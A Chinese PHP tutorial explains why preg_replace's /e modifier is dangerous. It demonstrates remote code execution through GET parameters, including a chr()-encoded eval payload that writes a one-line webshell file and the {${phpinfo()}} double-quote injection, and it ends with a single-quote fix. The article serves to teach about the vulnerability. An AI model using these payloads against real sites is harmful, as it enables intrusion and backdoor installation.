慎用preg_replace危险的/e修饰符(一句话后门常用)


Posted in PHP onJune 19, 2013

preg_replace函数原型:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特别说明:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
举例:

<?php 
preg_replace ("/(</?)(w+)([^>]*>)/e", 
"\1.strtoupper(\2).\3", 
$html_body); 
?>

这将使输入字符串中的所有 HTML 标记变成大写。

安全威胁分析:
通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:

<? 
echo preg_replace("/test/e",$_GET["h"],"jutst test"); 
?>

如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。
如果我们提交下面的代码会怎么样呢?
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文对应的明文是:fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。

再来一个有难度的例子:

<? 
function test($str) 
{ 
} 
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]); 
?>

提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗?
肯定不会。因为经过正则匹配后, replacement 参数变为'test("phpinfo")',此时phpinfo仅是被当做一个字符串参数了。
有没有办法让它执行呢?

当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行。为什么呢?
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。

在这里我们需要通过{${}}构造出了一个特殊的变量,'test("{${phpinfo()}}")',达到让函数被执行的效果(${phpinfo()}会被解释执行)。
可以先做如下测试:

echo "{${phpinfo()}}";

phpinfo会被成功执行了。

如何防范这种漏洞呢?
将'test("\1")' 修改为"test('\1')",这样‘${phpinfo()}'就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。

PHP 相关文章推荐
PHPUnit PHP测试框架安装方法
Mar 23 PHP
PHP中exec与system用法区别分析
Sep 22 PHP
getimagesize获取图片尺寸实例
Nov 15 PHP
你应该知道PHP浮点数知识
May 13 PHP
Zend Framework实现多服务器共享SESSION数据的方法
Mar 22 PHP
PHP实现大数(浮点数)取余的方法
Feb 18 PHP
EarthLiveSharp中cloudinary的CDN图片缓存自动清理python脚本
Apr 04 PHP
PHP无限极分类函数的实现方法详解
Apr 15 PHP
PHP面向对象之领域模型+数据映射器实例(分析)
Jun 21 PHP
Laravel框架表单验证操作实例分析
Sep 30 PHP
php设计模式之建造器模式分析【星际争霸游戏案例】
Jan 23 PHP
PHP实现简单日历类编写
Aug 28 PHP
解析二进制流接口应用实例 pack、unpack、ord 函数使用方法
Jun 18 #PHP
深入PHP数据加密详解
Jun 18 #PHP
使用array mutisort 实现按某字段对数据排序
Jun 18 #PHP
php多个字符串替换成同一个的解决方法
Jun 18 #PHP
基于PHP读取csv文件内容的详解
Jun 18 #PHP
解析CodeIgniter自定义配置文件
Jun 18 #PHP
Yii PHP Framework实用入门教程(详细介绍)
Jun 18 #PHP
You might like
文章推荐系统(二)
2006/10/09 PHP
php验证手机号码(支持归属地查询及编码为UTF8)
2013/02/01 PHP
file_get_contents获取不到网页内容的解决方法
2013/03/07 PHP
浅谈Eclipse PDT调试PHP程序
2014/06/09 PHP
php搜索文件程序分享
2015/10/30 PHP
PHP实现原生态图片上传封装类方法
2016/11/08 PHP
CSS3画一个阴阳八卦图
2021/03/09 HTML / CSS
jQuery 隔行换色 支持键盘上下键,按Enter选定值
2009/08/02 Javascript
JS异常处理的一个想法(sofish)
2013/03/14 Javascript
javascript中eval和with用法实例总结
2015/11/30 Javascript
canvas实现探照灯效果
2017/02/07 Javascript
jQuery插件zTree实现获取一级节点数据的方法
2017/03/08 Javascript
jQuery实现容器间的元素拖拽功能
2020/12/01 jQuery
使用Python编写Linux系统守护进程实例
2015/02/03 Python
Python简单调用MySQL存储过程并获得返回值的方法
2015/07/20 Python
使用Pyinstaller的最新踩坑实战记录
2017/11/08 Python
Python实现的根据文件名查找数据文件功能示例
2018/05/02 Python
基于python3实现socket文件传输和校验
2018/07/28 Python
python 处理telnet返回的More,以及get想要的那个参数方法
2019/02/14 Python
python实现连连看辅助(图像识别)
2020/03/25 Python
Python学习笔记之迭代器和生成器用法实例详解
2019/08/08 Python
python批量检查两个对应的txt文件的行数是否一致的实例代码
2020/10/31 Python
纯CSS3制作的简洁蓝白风格的登录模板(非IE效果更好)
2013/08/11 HTML / CSS
快速创建 HTML5 Canvas 电信网络拓扑图的示例代码
2018/03/21 HTML / CSS
如何查找网页漏洞
2016/06/22 面试题
绿化先进工作者事迹材料
2014/01/30 职场文书
团员年度个人总结
2015/02/26 职场文书
教师求职简历自我评价
2015/03/10 职场文书
党小组评议意见
2015/06/02 职场文书
超级礼物观后感
2015/06/15 职场文书
红色影片观后感
2015/06/18 职场文书
创业计划书之便利店
2019/09/05 职场文书
golang 实现时间戳和时间的转化
2021/05/07 Golang
JAVA长虹键法之建造者Builder模式实现
2022/04/10 Java/Android
Python查找算法的实现 (线性、二分,分块、插值查找算法)
2022/04/24 Python
在windows server 2012 r2中安装mysql的详细步骤
2022/07/23 Servers